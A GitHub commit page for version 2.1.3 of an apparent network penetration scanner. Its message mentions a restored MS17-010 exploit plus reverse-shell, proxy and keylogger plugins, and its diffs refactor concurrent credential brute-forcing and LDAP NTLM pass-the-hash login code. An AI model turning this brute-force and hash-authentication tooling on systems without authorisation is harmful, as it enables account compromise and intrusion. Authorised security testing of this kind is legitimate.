v2.1.3 Release (#572)

* add CVE-2026-24061 detect logic  (#562)

* add CVE-2026-24061 detect logic

* fix(telnet): 修复 errcheck 警告,统一错误处理风格

---------

Co-authored-by: ZacharyZcR <[email protected]>

* fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码

- hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争
- port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁
- web_scanner.go: 删除只写不读的 fingerprintCache
- webtitle.go: 移除对已删除 SetFingerprints 的调用
- keylogger.go: 删除未使用的 stopChan 和 isRunning 字段

* refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效

- RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件
- 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup,
  通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁
- Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路
- ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务
- CLI 模式传 context.Background(),行为完全不变

* fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic

- scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回
- smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验

* fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race

- webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background();
  sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争
- webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan
- webpoc.go: 传递 ctx 到 WebScan
- proxy/types.go: ProxyStats 增加 sync.Mutex
- proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁

* fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警

Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex

* fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑

- httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex
- findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic
- ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验
- web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试
- Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置

* fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消

- scan.go: Web API 构建 config/state 后同步到全局实例
- config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志
- reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消
- forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞
- socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞

* refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3)

- 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer
- RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session
- Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session)
- 48 个插件实现统一更新签名
- Web API 构建 ScanSession 传给 RunScan
- CLI 模式通过 Initialize() 创建 session

* refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4)

- core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session
- core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP
- core/icmp.go: CheckLive/tcpProbeAlive 接入 session
- 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session
- 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理)
- plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留

* refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5)

- core/alive_scanner.go: GetFlagVars() → session.Params
- core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports
- common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局
- common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave
- common/network.go: WrapperTcpWithTimeout 标记 Deprecated
- core/ 和 plugins/ 下已无全局状态调用残留

* fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题

* fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过

* perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代

* feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报

* perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半

* fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏

* fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复

* perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min

* fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报

* perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底

* fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数

* feat: Release 增加 armv5 架构支持

* chore: bump version to 2.1.3

* fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败

* fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题

* feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费

- 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON
- LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题
- 支持 fscan -h xxx -silent | jq 管道用法

* fix rdp invalid random panic (#573)

* restore ms17010 legacy detection and exploit (#574)

* fix ms17010 legacy packet decoding (#574)

* fix csv web title output (#575)

* fix web result protocol output (#577)

* feat: add -ntp flag to disable TCP supplementary probe

* fix: skip TCP supplementary probe in icmp mode

* feat: add -debug flag with file logging to fscan_debug.log

* fix: resolve golangci-lint errcheck and staticcheck warnings

* fix: skip proxy deep verification for SOCKS5 connections (#579)

SOCKS5 protocol validates connection reachability at protocol level,
deep verification was incorrectly rejecting non-banner services like
SMB(445), RPC(139) and Kerberos(88).

* fix: exclude timeout from scan failure rate calculation (#578)

Timeout is a normal scan result when firewalls drop packets, not a
scan failure. Only resource exhaustion errors count toward failure rate.

* feat: flatten NDJSON output for AI agent consumption and add SKILL.md

* perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时

* perf: 四项扫描性能优化

- SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积
- 服务探测超时自适应,RTT 采样约束读超时上限
- 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行
- ICMP 批量预构建包和地址,减少发送循环开销

* perf: 六项性能优化

- DNS 解析缓存:sync.Map 缓存避免重复系统调用
- 凭据测试 TCP 预检:不可达目标直接跳过全部凭据
- Web 探测 HTTP Client 复用:全局共享连接池
- 端口扫描 Bloom Filter 去重:替代 map 降低内存
- 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争
- 服务探针预解码:Init 时预编译,运行时零解码开销

* refactor: replace bloom filter with map for deduplication

Bloom filter has false positive risk which can silently drop valid
scan results. Map provides exact deduplication with negligible memory
overhead at the scale of open ports (typically thousands, not millions).

* fix: credential TCP precheck bypass proxy and pipeline goroutine leak

- Skip TCP precheck when proxy is enabled, net.DialTimeout cannot
  reach targets behind SOCKS5/HTTP proxy
- Drain stream channel on ctx cancellation to prevent EnhancedPortScan
  goroutine from blocking on a full channel

* fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms

* fix: resolve golangci-lint errcheck and staticcheck warnings

---------

Co-authored-by: r00t <[email protected]>
This commit is contained in:
ZacharyZcR
2026-05-13 14:41:23 +08:00
committed by GitHub
co-authored by r00t
parent db0b53b139
commit 2c2ca6ace3
110 changed files with 4268 additions and 1057 deletions
+13 -19
View File
@@ -25,11 +25,12 @@ func NewActiveMQPlugin() *ActiveMQPlugin {
}
}
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 生成测试凭据
@@ -48,8 +49,8 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
@@ -61,23 +62,23 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
}
// createAuthFunc 创建ActiveMQ认证函数
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doActiveMQAuth(ctx, info, cred, config, state)
return p.doActiveMQAuth(ctx, info, cred, session)
}
}
// doActiveMQAuth 执行ActiveMQ认证
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
config := session.Config
timeout := config.Timeout
resultChan := make(chan *AuthResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifyActiveMQErrorType(err),
@@ -88,7 +89,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config)
if success {
state.IncrementTCPSuccessPacketCount()
resultChan <- &AuthResult{
Success: true,
Conn: &activeMQConnWrapper{conn},
@@ -99,7 +99,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
}
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifyActiveMQErrorType(err),
@@ -111,7 +110,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
case result := <-resultChan:
return result
case <-ctx.Done():
// context 被取消,启动清理协程等待并关闭可能创建的连接
go func() {
result := <-resultChan
if result != nil && result.Conn != nil {
@@ -199,13 +197,12 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
}
// identifyService ActiveMQ服务识别
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
timeout := config.Timeout
timeout := session.Config.Timeout
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "activemq",
@@ -218,7 +215,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "activemq",
@@ -230,7 +226,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
response := make([]byte, 512)
n, err := conn.Read(response)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "activemq",
@@ -245,7 +240,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
}
}
state.IncrementTCPSuccessPacketCount()
responseStr := string(response[:n])
if common.ContainsAny(responseStr, "CONNECTED", "ERROR") {
+4 -2
View File
@@ -24,7 +24,9 @@ func NewCassandraPlugin() *CassandraPlugin {
}
}
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
@@ -47,7 +49,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, confi
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
+61 -12
View File
@@ -5,6 +5,7 @@ import (
"database/sql"
"fmt"
"io"
"net"
"sync"
"time"
@@ -77,12 +78,18 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc)
case result := <-resultChan:
return result
case <-ctx.Done():
// context 被取消,但 goroutine 可能还在运行
// 启动清理协程:等待结果并关闭连接
// context 被取消,但 authFn goroutine 可能还阻塞在第三方库 IO 上
// 限时等待:超过 5 秒直接放弃,避免 goroutine 无限泄漏
go func() {
result := <-resultChan
if result != nil && result.Conn != nil {
_ = result.Conn.Close()
timer := time.NewTimer(5 * time.Second)
defer timer.Stop()
select {
case result := <-resultChan:
if result != nil && result.Conn != nil {
_ = result.Conn.Close()
}
case <-timer.C:
// 第三方库不响应取消,放弃等待
}
}()
return &AuthResult{
@@ -103,6 +110,7 @@ type ConcurrentTestConfig struct {
MaxRetries int // 最大重试次数,默认 3
RetryDelay time.Duration // 重试延迟,默认 1s
MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5
TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选)
}
// DefaultConcurrentTestConfig 默认配置
@@ -112,12 +120,20 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
concurrency = 10
}
return ConcurrentTestConfig{
Concurrency: concurrency,
MaxRetries: 3,
RetryDelay: time.Second,
Concurrency: concurrency,
MaxRetries: 3,
RetryDelay: time.Second,
MaxConsecutiveNetErrors: 5,
}
}
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
cfg := DefaultConcurrentTestConfig(config)
cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port)
return cfg
}
// TestCredentialsConcurrently 并发测试多个凭据
// 找到成功凭据后立即通知其他 worker 停止
func TestCredentialsConcurrently(
@@ -135,6 +151,20 @@ func TestCredentialsConcurrently(
}
}
// TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试
// 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标
if testConfig.TargetAddr != "" && !common.IsProxyEnabled() {
preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second)
if err != nil {
return &ScanResult{
Success: false,
Service: serviceName,
Error: fmt.Errorf("目标不可达: %w", err),
}
}
_ = preConn.Close()
}
// 调整并发数
concurrency := testConfig.Concurrency
if concurrency > len(credentials) {
@@ -145,9 +175,9 @@ func TestCredentialsConcurrently(
cancelCtx, cancel := context.WithCancel(ctx)
defer cancel()
// 通道
// 通道buffer 设为 concurrency+1 避免 worker 阻塞在发送上)
credChan := make(chan Credential, len(credentials))
resultChan := make(chan *ScanResult, concurrency)
resultChan := make(chan *ScanResult, concurrency+1)
// 发送所有凭据
for _, cred := range credentials {
@@ -205,6 +235,12 @@ func workerTestCredentials(
serviceName string,
testConfig ConcurrentTestConfig,
) {
consecutiveNetErrors := 0
maxNetErrors := testConfig.MaxConsecutiveNetErrors
if maxNetErrors <= 0 {
maxNetErrors = 5
}
for cred := range credChan {
// 检查是否应该停止
select {
@@ -213,12 +249,24 @@ func workerTestCredentials(
default:
}
// 连续网络错误达到阈值,目标可能不可达,提前退出
if consecutiveNetErrors >= maxNetErrors {
return
}
// 带重试的凭据测试
result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig)
if result != nil && result.Success {
resultChan <- result
return
}
// 跟踪连续网络错误
if result != nil && result.Error != nil {
consecutiveNetErrors++
} else {
consecutiveNetErrors = 0
}
}
}
@@ -261,11 +309,12 @@ func testCredentialWithRetry(
case ErrorTypeNetwork, ErrorTypeUnknown:
// 网络错误或未知错误,可以重试(可能是服务端限流等临时问题)
if attempt < testConfig.MaxRetries-1 {
timer := time.NewTimer(testConfig.RetryDelay)
select {
case <-ctx.Done():
timer.Stop()
return nil
case <-time.After(testConfig.RetryDelay):
// 继续重试
case <-timer.C:
}
}
}
+3 -1
View File
@@ -25,7 +25,9 @@ func NewElasticsearchPlugin() *ElasticsearchPlugin {
}
}
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
+6 -8
View File
@@ -36,7 +36,8 @@ func NewFindNetPlugin() *FindNetPlugin {
// GetPorts 实现Plugin接口
// Scan 执行FindNet扫描 - Windows网络信息收集
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 检查是否为RPC端口
@@ -48,10 +49,8 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
}
}
// WrapperTcpWithTimeout内部已包含发包限制检查
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "findnet",
@@ -66,7 +65,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
// 执行RPC网络发现
networkInfo, err := p.performNetworkDiscovery(conn)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "findnet",
@@ -74,8 +72,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
}
}
state.IncrementTCPSuccessPacketCount()
// 记录发现的网络信息 (一次性输出,避免被其他日志打断)
if networkInfo.Valid {
var lines []string
@@ -169,7 +165,9 @@ func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, er
// 查找响应结束标记
for i := 0; i < len(responseData)-5; i++ {
if bytes.Equal(responseData[i:i+6], rpcBuffer3) {
responseData = responseData[:i-4]
if i >= 4 {
responseData = responseData[:i-4]
}
break
}
}
+4 -2
View File
@@ -24,7 +24,9 @@ func NewFTPPlugin() *FTPPlugin {
}
}
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
if config.DisableBrute {
return p.identifyService(info, config, state)
}
@@ -47,7 +49,7 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig)
+4 -2
View File
@@ -24,7 +24,9 @@ func NewKafkaPlugin() *KafkaPlugin {
}
}
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
}
@@ -42,7 +44,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
+19 -24
View File
@@ -23,16 +23,17 @@ func NewLDAPPlugin() *LDAPPlugin {
}
}
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
target := info.Target()
// Hash 认证优先:检查是否配置了 Hash 和 Domain
if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" {
result := p.tryHashAuth(ctx, info, config, state)
result := p.tryHashAuth(ctx, info, session)
if result != nil && result.Success {
return result
}
@@ -48,8 +49,8 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
@@ -61,24 +62,22 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
}
// createAuthFunc 创建LDAP认证函数
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doLDAPAuth(ctx, info, cred, config, state)
return p.doLDAPAuth(ctx, info, cred, session)
}
}
// doLDAPAuth 执行LDAP认证
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
conn, err := p.connectLDAP(ctx, info, config)
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
conn, err := p.connectLDAP(ctx, info, session)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: classifyLDAPErrorType(err),
Error: err,
}
}
state.IncrementTCPSuccessPacketCount()
// 尝试多种DN格式进行绑定测试
dnFormats := []string{
@@ -117,7 +116,8 @@ func (w *ldapConnWrapper) Close() error {
}
// tryHashAuth 尝试 NTLM Hash 认证
func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
domain := config.Credentials.Domain
users := config.Credentials.Userdict["ldap"]
@@ -139,7 +139,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con
default:
}
result := p.doNTLMHashAuth(ctx, info, domain, user, hash, config, state)
result := p.doNTLMHashAuth(ctx, info, domain, user, hash, session)
if result.Success {
// 截断 hash 用于显示
displayHash := hash
@@ -162,17 +162,15 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con
}
// doNTLMHashAuth 执行单次 NTLM Hash 认证
func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, config *common.Config, state *common.State) *AuthResult {
conn, err := p.connectLDAP(ctx, info, config)
func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, session *common.ScanSession) *AuthResult {
conn, err := p.connectLDAP(ctx, info, session)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: classifyLDAPErrorType(err),
Error: err,
}
}
state.IncrementTCPSuccessPacketCount()
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
return &AuthResult{
@@ -192,7 +190,7 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo,
}
// connectLDAP 连接LDAP服务器
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) {
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (*ldaplib.Conn, error) {
target := info.Target()
type result struct {
@@ -202,7 +200,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con
resultChan := make(chan result, 1)
go func() {
tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
resultChan <- result{nil, err}
return
@@ -223,7 +221,6 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con
case res := <-resultChan:
return res.conn, res.err
case <-ctx.Done():
// context 被取消,启动清理协程等待并关闭可能创建的连接
go func() {
res := <-resultChan
if res.conn != nil {
@@ -257,19 +254,17 @@ func classifyLDAPErrorType(err error) ErrorType {
return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors)
}
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn, err := p.connectLDAP(ctx, info, config)
conn, err := p.connectLDAP(ctx, info, session)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "ldap",
Error: err,
}
}
state.IncrementTCPSuccessPacketCount()
defer func() { _ = conn.Close() }()
banner := "LDAP"
+14 -15
View File
@@ -24,15 +24,16 @@ func NewMemcachedPlugin() *MemcachedPlugin {
}
}
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 检测未授权访问
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("memcached_unauth", target))
return result
}
@@ -46,14 +47,14 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, confi
}
// testUnauthorizedAccess 测试Memcached未授权访问
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
conn := p.connectToMemcached(ctx, info, config, state)
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
conn := p.connectToMemcached(ctx, info, session)
if conn == nil {
return nil
}
defer func() { _ = conn.Close() }()
if p.testBasicCommand(conn, config) {
if p.testBasicCommand(conn, session.Config) {
return &ScanResult{
Type: plugins.ResultTypeVuln,
Success: true,
@@ -65,20 +66,19 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm
return nil
}
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn {
target := info.Target()
timeout := session.Config.Timeout
connChan := make(chan net.Conn, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
connChan <- nil
return
}
state.IncrementTCPSuccessPacketCount()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(timeout))
connChan <- conn
}()
@@ -86,7 +86,6 @@ func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.H
case conn := <-connChan:
return conn
case <-ctx.Done():
// context 被取消,启动清理协程等待并关闭可能创建的连接
go func() {
conn := <-connChan
if conn != nil {
@@ -114,10 +113,10 @@ func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config)
return common.ContainsAny(responseStr, "VERSION", "memcached")
}
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn := p.connectToMemcached(ctx, info, config, state)
conn := p.connectToMemcached(ctx, info, session)
if conn == nil {
return &ScanResult{
Success: false,
@@ -127,7 +126,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host
}
defer func() { _ = conn.Close() }()
if p.testBasicCommand(conn, config) {
if p.testBasicCommand(conn, session.Config) {
banner := "Memcached"
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
return &ScanResult{
+14 -12
View File
